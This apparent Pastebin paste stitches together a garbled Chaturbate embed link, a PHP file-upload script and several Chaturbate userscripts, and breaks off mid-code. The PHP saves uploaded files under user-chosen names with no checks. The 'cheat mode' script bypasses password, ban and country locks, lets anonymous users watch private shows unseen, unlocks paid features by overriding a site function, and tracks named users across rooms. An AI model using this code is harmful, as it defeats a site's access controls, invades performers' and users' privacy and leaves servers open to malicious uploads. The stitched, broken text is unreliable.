Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- https://chaturbate.com/embed/persianangel/?-_js./embed_js.php?i=in/?tour=9oGW&campaign=zM6MR&track=embed&room=jimgreenobigcock&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=600 width=800 style='border: none; / $numoffile = 5; //
- $file_dir = "/home/webs/dmonster.com/subdomain/files/";
- if ($_POST)
- {
- for ($i=0;$i<$numoffile;$i++)
- {
- if (trim($_FILES['myfiles']['name'][$i])!="")
- {
- $newfile = $file_dir.$_FILES['myfiles']['name'][$i];
- move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile);
- $j++;
- }
- }
- }
- if (isset($j)&&$j>0) print "Your file(s) has been uploaded.
- ";
- print "< form method='post' enctype='multipart/form-data'>";
- for($i=0;$i<$numoffile;$i++)
- {
- print "< input type='file' name='myfiles[]' size='30'>
- ";
- }
- print "< input type='submit' name='action' value='Upload'>";
- print "< / form>";
- ? > ><==UserScript==><
- // @name Chaturbate Enhanced
- // @locale en
- // @version 1
- // @version 5.2.0
- // @author stix
- // @description No Ads, Change Colors, Add Fav. Model Tab, Remove Profile Spam & Annoying Chat Tip GIFs, Deletes Exhibitionist Cams & More...
- // @icon http://deplist.weebly.com/uploads/6/1/9/1/61911901/want.png
- // @include https://chaturbate.com/*
- // @include https://*.chaturbate.com/*
- // @exclude https://chaturbate.com/emoticons/*
- // @exclude https://chaturbate.com/accounts/*
- // @exclude https://chaturbate.com/apps/*
- // @include https://chaturbate.com/photo_videos/*
- // @include http://jsfiddle.net/shanny/VSUM6/28/*
- // @include http://jsfiddle.net/zalun/NmudS/embedded/result,js,html,css/
- // @exclude http://serve.ads.chaturbate.com/*
- // @namespace https://greasyfork.org/en/scripts/16228-chaturbate-enhanced
- // @require https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
- // @require https://greasyfork.org/scripts/19017-jscolor/code/jscolor.js?version=121257
- // @license GPLv3; http://www.gnu.org/copyleft/gpl.html
- // @grant none
- // // ==UserScript==
- // @name Chaturbate Better Full Screen
- // @version 1.2
- // @include https://chaturbate.com/*
- // @include https://chaturbate.com/#*
- // @exclude https://*.chaturbate.com/*-cams/
- // @exclude https://chaturbate.com/*-cams/
- // @namespace https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
- // @description:en Adds a better full screen view that has the chat.
- // @source https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
- // @description Adds a better full screen view that has the chat.
- // ==/UserScript==
- if (window.top != window.self) //-- Don't run on frames or iframes
- return;
- var main = function() {
- var betterFullScreenOpen = false,
- prevHeight = 0;
- if (typeof $ !== 'undefined') {
- $(document).ready(
- function() {
- var addActionBtn = function() {
- $('body').append('<div id="betterFullScreenBtn" onclick="toggleBetterFullScreen()"><i class="fa fa-arrows-alt"><i></div>');
- };
- window.toggleBetterFullScreen = function(e) {
- betterFullScreenOpen = !betterFullScreenOpen;
- $('#defchat .section').toggleClass('betterFullScreen');
- $('#betterFullScreenBtn .fa').toggleClass('fa-arrows-alt').toggleClass('fa-compress');
- if (betterFullScreenOpen) {
- prevHeight = $('.video-box #player').css('height');
- var width = $('.video-box #player').width();
- $('.video-box #player').css('height', ((width*(664/842))-10)+'px');
- $('body').append('<div id="betterFullScreenOverlay"></div>');
- } else {
- $('.video-box #player').css('height', prevHeight);
- $('#betterFullScreenOverlay').remove();
- }
- };
- var url = '//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css';
- if (document.createStyleSheet) {
- document.createStyleSheet(url);
- } else if (typeof $ !== 'undefined') {
- $('<link rel="stylesheet" type="text/css" href="' + url + '" />').appendTo('head');
- }
- addActionBtn();
- }
- );
- }
- };
- var script = document.createElement('script');
- script.textContent = '(' + main.toString() + ')();';
- document.body.appendChild(script);
- var style = document.createElement('style');
- style.innerHTML = ''+
- '#betterFullScreenBtn {'+
- 'width: 25px !important;' +
- 'height: 25px !important;' +
- 'top: 10px !important;' +
- 'right: 10px !important;' +
- 'z-index: 2000 !important;' +
- 'position: fixed !important;' +
- 'cursor: pointer !important;' +
- 'background: #e0e0e0 !important;' +
- 'border: 1px solid #acacac !important;' +
- 'border-radius: 4px !important;' +
- '-webkit-border-radius: 4px !important;' +
- '-moz-border-radius: 4px !important;' +
- 'padding: 4px !important;' +
- 'font-size: 25px !important;' +
- 'text-align: center !important;' +
- '}' +
- '#betterFullScreenOverlay {' +
- 'top: 0;' +
- 'left: 0;' +
- 'right: 0;' +
- 'bottom: 0;' +
- 'position: fixed;' +
- 'background: #e0e0e0;' +
- 'z-index: 1998;' +
- '}' +
- '.betterFullScreen {' +
- 'top: 0 !important;' +
- 'left: 0 !important;' +
- 'right: 0 !important;' +
- 'bottom: 0 !important;' +
- 'position: fixed !important;' +
- 'z-index: 1999 !important;' +
- 'height: 100%!important;' +
- '}' +
- '.betterFullScreen .video-box {' +
- 'position: fixed !important;' +
- 'left: 0 !important;' +
- 'top: 0 !important;' +
- 'width: 60% !important;' +
- 'height: 100% !important;' +
- '}' +
- '.betterFullScreen .video-box #player {' +
- 'width: 100% !important;' +
- '}' +
- '.betterFullScreen .video-box .title {' +
- 'width: calc(100% - 15px);' +
- 'position: relative;' +
- 'overflow: visible;' +
- '}' +
- '.betterFullScreen .video-box .title #tooltip-subject {' +
- 'width: initial !important;' +
- 'right: 0;' +
- '}' +
- '.betterFullScreen .chat-holder {' +
- 'position: fixed !important;' +
- 'right: 0 !important;' +
- 'top: 0 !important;' +
- 'width: calc(40% - 10px) !important;' +
- 'height: 100% !important;' +
- '}' +
- '.betterFullScreen .chat-box {' +
- 'height: 100% !important;' +
- '}' +
- '.betterFullScreen .users-list, .betterFullScreen .settings-list, .betterFullScreen .chat-list {' +
- 'height: calc(100% - 75px) !important;' +
- '}';
- document.body.appendChild(style);
- ? > ><==UserScript==><
- 3. // @name chaturbate
- 4. // @version 1
- 5. // @namespace chaturbate
- 6. // @description chaturbate
- 7. // @include http://*.chaturbate.com/*/ded/?-_js./embed_js.php?
- 8. // @include http://*.chaturbate.com//api/getchatuserlist/?
- 9. // @include http://chaturbate.com/*
- 10. // @exclude http://serve.ads.chaturbate.com/*
- 11. // @run-at document-start
- 12. // @grant GM_getValue
- 13. // @grant GM_setValue
- 14. // @grant GM_addStyle
- 15. // @grant GM_xmlhttpRequest
- 16. // ==/UserScript==
- 17.
- 18. scversion = 16.7;
- 19. flashplayer = "/static/flash/CBV_2p640.swf";
- 20.
- 21. //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- 22. // if you see this text then save the file as *- newchaturbate.user.js -*
- 23. //after saving open it inside chromeµsoft edge & and install it.
- 24. //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- 25. //
- 26. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 27. //>>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
- 28. // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
- 29. // V12+
- 30. // Removes all advertisements
- 31. // Inserts a new video box if the room is password protected or if your banned or blocked
- 32. // More colums on the main screen and streched the chat box
- 33. // External links are no longer redirected
- 34. // Checks the version of the flash player and tries to use the same version on protectected rooms
- 35. // Shoutbox at the end of the screen
- 36. // By default the chat won't show emoticons
- 37. //
- 38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
- 39. //
- 40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
- 41. // webcam or to go to a webcam with special functions.
- 42. // On a normal cam page you have the option to go back to the profile page.
- 43. //
- 44. // special video mode where you can enter a streamkey
- 45. //
- 46. // only the last updates are mentioned here , the list became too long
- 47. //
- 48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
- 49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room
- 50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
- 51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
- 52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
- 53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy
- 54. // v14.8 video server orgin3 added
- 55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
- 56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
- 57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
- 58. // in broadcaster mode. You can open a room in clean Iframe mode.
- 59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
- 60. // v15.3 all video options removed , tipping removed , fixed anon entry
- 61. // v15.4 fix for tipnotes
- 62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
- 63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
- 64. // v15.7 no more tip notes
- 65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
- 66. // v15.9 bug fix from 15.8
- 67. // v16.0 , number scipped
- 68. // v16.1 use of a random server in password room b.c. the static server was down.
- 69. // v16.2 fix for FF 23 , find a user added
- 70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
- 71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update
- 72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
- 73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
- 74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 75.
- 76. createCookie("agreeterms","1",1);
- 77. createCookie("np3","0",1);
- 78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
- 79.
- 80. function do_script() {
- 81.
- 82. // some adjustment needed if we are in cheat mode
- 83.
- 84. if (readCookie("cheatmode")){
- 85. mode=readCookie("cheatmode").split("&");
- 86. eraseCookie("cheatmode","chaturbate.com");
- 87. preformer=mode[0];
- 88. anon=mode[1];
- 89. mob=mode[2];
- 90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
- 91. base=document.createElement('BASE');
- 92. url=document.location.href;
- 93. url=url.replace(document.location.href.split("/")[4],preformer);
- 94. url=url.split("?")[0];
- 95.
- 96. base.setAttribute("href",url);
- 97.
- 98. document.getElementsByTagName('head')[0].appendChild(base);
- 99.
- 100.
- 101. text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
- 102. text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
- 103. text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
- 104. text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
- 105. text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
- 106.
- 107. text=document.createElement('div');
- 108.
- 109. textf=text1;
- 110. if(anon==1){textf=textf+text2}
- 111. if(mob==1){textf=textf+text3}
- 112. if((anon==1)&&(mob==0)){textf=textf+text4}
- 113.
- 114. text.id="cheat";
- 115.
- 116. text.innerHTML=textf+text5;
- 117.
- 118. body=document.getElementsByTagName('body')[0];
- 119.
- 120. body.insertBefore(text, body.firstChild);
- 121.
- 122. // fix abuse
- 123. abu=document.getElementById("report_popup");
- 124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
- 125.
- 126. // fix the tipping
- 127. tips=document.getElementsByClassName('tip_shell')[0];
- 128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
- 129.
- 130. }
- 131.
- 132. // always earase again, just in case we broke the page
- 133. eraseCookie("cheatmode","chaturbate.com");
- 134. // earase these too
- 135. eraseCookie("latest_linked_timestamp");
- 136. eraseCookie("latest_linked_username");
- 137. eraseCookie("affkey");
- 138. eraseCookie("fromaffiliate");
- 139.
- 140.
- 141. // from here normal script
- 142.
- 143. // remove visible adds
- 144. ad = document.getElementsByClassName('ad');
- 145. if (document.location.href.split("/")[3]!="b"){
- 146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
- 147.
- 148. verstr='<strong>Special edition </strong><br>V '+scversion;
- 149. if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
- 150. if (ad[0]){ad[0].innerHTML=verstr}
- 151.
- 152.
- 153. ad = document.getElementsByClassName('banner')[0];
- 154. if (ad){ad.parentNode.removeChild(ad)}
- 155. ad=document.getElementById("botright");
- 156. if (ad){ad.parentNode.removeChild(ad)}
- 157.
- 158. // advert options on menu bars and check if your logged in
- 159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
- 160. notlogged = GM_getValue( "all" , 0 );
- 161. bar=document.getElementById("nav");
- 162. if (bar){
- 163. barl=bar.getElementsByTagName('li');
- 164. i=barl.length-1;
- 165. while (i != -1){
- 166. d=barl[i].innerHTML;
- 167. if (d.indexOf('/login') != -1) {notlogged = 1}
- 168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
- 169. else{barl[i].parentNode.removeChild(barl[i]);i--}
- 170. }}
- 171.
- 172. // rss feed link
- 173. if(document.getElementsByClassName('wide')[0]){
- 174. newli=document.createElement('li');
- 175. newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
- 176. if (bar){bar.appendChild(newli)}}
- 177.
- 178. // find user
- 179. if(document.getElementsByClassName('wide')[0]){
- 180. newli=document.createElement('li');
- 181. newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
- 182. if (bar){bar.appendChild(newli)}}
- 183.
- 184.
- 185. // blog spam
- 186. ad = document.getElementsByClassName('featured_blog_posts')[0];
- 187. if (ad){ad.parentNode.removeChild(ad)}
- 188.
- 189. // footer spam
- 190. ad = document.getElementsByClassName('featured_text')[0];
- 191. if (ad){ad.parentNode.removeChild(ad)}
- 192.
- 193. // announcement banner
- 194. ad = document.getElementsByClassName('top-section')[0];
- 195. if (ad){
- 196. ad = ad.getElementsByTagName('img')[0];
- 197. if (ad){ad.parentNode.removeChild(ad)}}
- 198.
- 199. // footer cleanup
- 200. ad = document.getElementsByClassName('footer-holder')[0];
- 201. if (ad){
- 202. ad1 = ad.getElementsByTagName('p')[3];
- 203. if (ad1){ad1.parentNode.removeChild(ad1)}
- 204. ad1 = ad.getElementsByTagName('p')[2];
- 205. if (ad1){ad1.parentNode.removeChild(ad1)}
- 206. ad1 = ad.getElementsByTagName('p')[1];
- 207. if (ad1){ad1.parentNode.removeChild(ad1)}
- 208. ad1 = ad.getElementsByTagName('p')[0];
- 209. if (ad1){ad1.parentNode.removeChild(ad1)}}
- 210.
- 211. // strech the screen
- 212. front=document.getElementsByClassName('c-1')[0];
- 213. if(front) {
- 214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
- 215. front=document.getElementsByClassName('c-1')[1];
- 216. if(front) {
- 217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
- 218.
- 219. // remove out of position images
- 220. container = document.getElementById("tabs_content_container")
- 221. if (container){
- 222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
- 223. for (n=0; n<taglist.length-1; n++){
- 224. blockelm (taglist[n]);
- 225. }}
- 226.
- 227. function blockelm(tag){
- 228. var image = container.getElementsByTagName(tag);
- 229. for (i=0; i<image.length; i++){
- 230. if (image[i].style.position){
- 231. if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
- 232. image[i].style.display="none"}
- 233. }}}
- 234.
- 235. //fix external links redirection
- 236. var link = document.getElementsByTagName('a');
- 237. for (i=0; i<link.length; i++){
- 238. if (link[i].href.indexOf('?url=') != -1){
- 239. linkhref=unescape(link[i].href);
- 240. newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
- 241. link[i].href=newlinkhref}}
- 242.
- 243.
- 244. if (notlogged == 0){ // logged in
- 245.
- 246. // on a profile page link to cam
- 247. splits=document.location.href.split("/");
- 248. play=document.getElementById("movie"); // check for player
- 249.
- 250. if (splits[3]!="b"){ // not broadcasting
- 251. if (splits[3]=="p"){ // profile page (can have player)
- 252.
- 253. newli=document.createElement('li');
- 254. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
- 255. newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
- 256. if (bar){bar.appendChild(newli)}
- 257.
- 258.
- 259. // go to semi password room
- 260. newli=document.createElement('li');
- 261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
- 262. newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
- 263. if (bar){bar.appendChild(newli)};
- 264.
- 265. // go to embedded room
- 266. newli=document.createElement('li');
- 267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
- 268. newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
- 269. if (bar){bar.appendChild(newli)};
- 270.
- 271. } // end only on profile page
- 272.
- 273. // graphic rss feed
- 274. function showfeed(){
- 275. var x=document.getElementById("selector").selectedIndex;
- 276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
- 277.
- 278. GM_xmlhttpRequest({
- 279. method: 'GET',
- 280. url: feedXml,
- 281. onload: function(response) {
- 282. xmlString=response.responseText;
- 283.
- 284. // dirty HTML parser, i can handle xml as html
- 285. xmldoc=document.createElement('div');
- 286. xmldoc.innerHTML=xmlString;
- 287.
- 288. area=document.getElementsByClassName('content_body')[0];
- 289. area.innerHTML="";
- 290.
- 291. newdiv=document.createElement('div');
- 292. area.appendChild(newdiv);
- 293.
- 294. holder=document.createElement('ul');
- 295. holder.className="list";
- 296. holder.id="check";
- 297. newdiv.appendChild(holder);
- 298.
- 299. var items = new Array();
- 300. items=xmldoc.getElementsByTagName('item');
- 301.
- 302. blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
- 303. +'<a href="item3" target="_blank" class="corners"> </a>'
- 304. +'<div class="details">'
- 305. +'<div class="title">'
- 306. +'<a target="_blank" href="item4">item5</a>'
- 307. +'<span class="age genderitem6"> </span>'
- 308. +'</div>'
- 309. +'<ul class="subject">'
- 310. +'<li></li>'
- 311. +'</ul>'
- 312. +'<ul class="sub-info">'
- 313. +'<li class="location">item8</li>'
- 314. +'<li class="cams">item9 min. online - item10 viewers</li>'
- 315. +'</ul>'
- 316. +'</div>';
- 317.
- 318. for (n=0; n<items.length; n++){
- 319. image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
- 320. title = items[n].getElementsByTagName("title")[0].innerHTML;
- 321.
- 322. guid = items[n].getElementsByTagName("guid")[0].innerHTML;
- 323. gsplits=guid.split("/");
- 324. guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
- 325.
- 326. username = items[n].getElementsByTagName("username")[0].innerHTML;
- 327. gender = items[n].getElementsByTagName("gender")[0].innerHTML;
- 328. location_ = items[n].getElementsByTagName("location")[0].innerHTML;
- 329. number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
- 330.
- 331. online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
- 332. osplits=online_since.split(":");
- 333. Honline=parseInt(osplits[0].split(" ")[1]);
- 334. Monline=parseInt(osplits[1]);
- 335. Sonline=parseInt(osplits[2].split(".")[0]);
- 336.
- 337. offset = parseInt((new Date().getTimezoneOffset()))/60;
- 338. Honline = Honline+11+offset;
- 339. if (Honline >= 24){Honline=Honline-24}
- 340.
- 341. d = new Date();
- 342. Hnow = d.getHours();
- 343. Mnow = d.getMinutes();
- 344. Snow = d.getSeconds();
- 345.
- 346. secnow=(Hnow*60*60)+(Mnow*60)+Snow;
- 347. seconl=(Honline*60*60)+(Monline*60)+Sonline;
- 348. secdiff=Math.abs(secnow-seconl);
- 349. mindiff=parseInt(secdiff/60);
- 350.
- 351. block=document.createElement('li');
- 352. block.setAttribute("style", "margin: 5px 5px 5px 5px;");
- 353.
- 354. blockstring1=blockstring.replace("item1",image_url);
- 355. blockstring1=blockstring1.replace("item2",title);
- 356. blockstring1=blockstring1.replace("item3",guid);
- 357. blockstring1=blockstring1.replace("item4",guid);
- 358. blockstring1=blockstring1.replace("item5",username);
- 359. blockstring1=blockstring1.replace("item6",gender);
- 360. blockstring1=blockstring1.replace("item8",location_);
- 361. blockstring1=blockstring1.replace("item9",mindiff);
- 362. blockstring1=blockstring1.replace("item10",number_of_users_watching);
- 363.
- 364. block.innerHTML=blockstring1;
- 365.
- 366. holder.appendChild(block);
- 367.
- 368. } // end for
- 369.
- 370. setTimeout(function(){showfeed()},20000);
- 371.
- 372. } // end onload
- 373. }); // end xmlhttp
- 374. } // end function
- 375.
- 376.
- 377. //finduser
- 378. function finduser(){
- 379. fusern=document.getElementById("fusername").value;
- 380. if (fusern == ""){alert("First fill in a username !");return false}
- 381.
- 382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
- 383.
- 384.
- 385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
- 386.
- 387. GM_xmlhttpRequest({
- 388. method: 'GET',
- 389. url: feedXml,
- 390. onload: function(response) {
- 391. responsedoc=response.responseText;
- 392.
- 393. // dirty HTML parser
- 394. parse=document.createElement('div');
- 395. parse.innerHTML=responsedoc;
- 396.
- 397. var items = new Array();
- 398. items=parse.getElementsByClassName('title');
- 399.
- 400. var olnames = new Array();
- 401. for (i=0; i<items.length-1; i++){
- 402. olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
- 403. }
- 404.
- 405. // save some memory
- 406. responsedoc="";
- 407. parse="";
- 408. items.length = 0;
- 409. // end parser
- 410.
- 411. document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
- 412.
- 413. i=0;
- 414. checkroom(olnames,i);
- 415.
- 416. } // end onload xml
- 417.
- 418. }); // end xml
- 419.
- 420. } //end function
- 421.
- 422.
- 423. function checkroom(olnames,i){
- 424.
- 425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
- 426.
- 427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
- 428.
- 429. GM_xmlhttpRequest({
- 430. method: 'GET',
- 431. url: userurl,
- 432. onload: function(response) {
- 433. data = response.responseText;
- 434. if(data.indexOf(fusern+"|") != -1){
- 435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
- 436. }
- 437. i++;
- 438. if(i==olnames.length){
- 439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){
- 440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
- 441. else{
- 442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
- 443. return false}
- 444. checkroom(olnames,i);
- 445. } // end onload xml2
- 446. }); // end xml2
- 447. }
- 448.
- 449. // set up rss page
- 450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
- 451. document.title="Last cam's online";
- 452. area=document.getElementsByClassName('content_body')[0];
- 453. area.innerHTML="";
- 454. area=document.getElementsByClassName('affiliate_options')[0];
- 455. area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
- 456. showfeed();
- 457. }
- 458.
- 459. // set up find a user page
- 460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
- 461. document.title="Find a user";
- 462. area=document.getElementsByClassName('content_body')[0];
- 463. area.innerHTML="";
- 464. area=document.getElementsByClassName('affiliate_options')[0];
- 465. area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
- 466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
- 467. }
- 468.
- 469. // on a player page, if logged in, unlock features.
- 470. if (play){ // player on the page ?
- 471. if (!readCookie("logstatus")){save()}
- 472. if(document.getElementById("defchat")){
- 473. scrip=document.createElement('script');
- 474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
- 475. document.getElementsByTagName('body')[0].appendChild(scrip);
- 476. }
- 477.
- 478. // console logger
- 479. if(document.getElementById("defchat")){
- 480. scrip=document.createElement('script');
- 481.
- 482. scriptstring="flash_handler.consolelog = "
- 483. +"function(msg2){"
- 484. +"xaa=document.getElementsByClassName('chat-list')[0];"
- 485. +"if(xaa){"
- 486. +"msg3=unescape(msg2);"
- 487. +"msg4='x';"
- 488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
- 489. +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
- 490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
- 491. +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
- 492. +"if(document.getElementById('appnotice')){"
- 493. +"if(document.getElementById('appnotice').checked==true){"
- 494. +"msg4='<p><span>'+msg3+'</span></p>';}}"
- 495. +"if(msg4 != 'x'){"
- 496. +"newdiv=document.createElement('div');"
- 497. +"newdiv.className='text';"
- 498. +"newdiv.innerHTML=msg4;"
- 499. +"xaa.appendChild(newdiv);"
- 500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
- 501. +"xaa.scrollTop=xaa.scrollHeight}}}};";
- 502.
- 503. scrip.innerHTML=scriptstring;
- 504. document.getElementsByTagName('body')[0].appendChild(scrip);
- 505. }
- 506.
- 507.
- 508. // options page on normal player page
- 509. if (splits[3]!="p"){ // no profile but still a player page = normal page
- 510. newli=document.createElement('li');
- 511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
- 512. newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
- 513. if (bar){bar.appendChild(newli)}}
- 514.
- 515. // shoutbox on all player pages
- 516. newtab2=document.createElement('div');
- 517. newtab2.id="shout";
- 518. newtab2.innerHTML=sdata;
- 519. document.getElementById("defchat").appendChild(newtab2);
- 520.
- 521. } // end player page
- 522.
- 523. // remove lock picture from thumb
- 524. pictures = document.getElementsByClassName('preview');
- 525. if (pictures){
- 526. for (i=0; i<pictures.length; i++){
- 527. if(pictures[i].getAttribute("alt") =="Locked"){
- 528. pictures[i].parentNode.removeChild(pictures[i])}}}
- 529.
- 530. // specials
- 531. // if you have no access then create a new video box
- 532. area = document.getElementsByClassName('block')[0];
- 533. if (area){
- 534. if (area.innerHTML.length < 100){
- 535. preformer=splits[3];
- 536. if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
- 537. document.title = preformer+"'s No Access Room";
- 538. makevid (preformer)}}
- 539.
- 540. if (splits[3]=="roomlogin"){
- 541. preformer=splits[4];
- 542. document.title = preformer+"'s Password Protected Room";
- 543. room=document.getElementsByClassName('sub-nav')[0];
- 544. if (room){
- 545. room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
- 546. makevid (preformer)}}
- 547.
- 548.
- 549. //key entry
- 550. keyinput();
- 551.
- 552. // always set interval function, update every 3 sec.
- 553. t=setInterval(function(){
- 554.
- 555. // if on player page
- 556. // read flash player version
- 557.
- 558. play=document.getElementById("player");
- 559. if (play){
- 560. if (!readCookie("CBversion")){
- 561. version=document.getElementsByTagName('object')[0];
- 562. if (version){
- 563. createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
- 564. }}
- 565.
- 566. // nex cam = only video
- 567. rep=document.getElementsByClassName('nextcam')[0];
- 568. if (rep){
- 569. if (rep.innerHTML != "SHOW ONLY VIDEO"){
- 570. rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
- 571. rep.addEventListener('click',function(){popvid();}, false);
- 572. }}
- 573.
- 574.
- 575. // sorted userlist option
- 576. ulist=document.getElementsByClassName('users-list')[0];
- 577. if (ulist){
- 578. if(ulist.getElementsByTagName("a")[0]){
- 579. if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
- 580. newdiv=document.createElement('div');
- 581. newdiv.className='text';
- 582. newdiv.setAttribute('style','float:right');
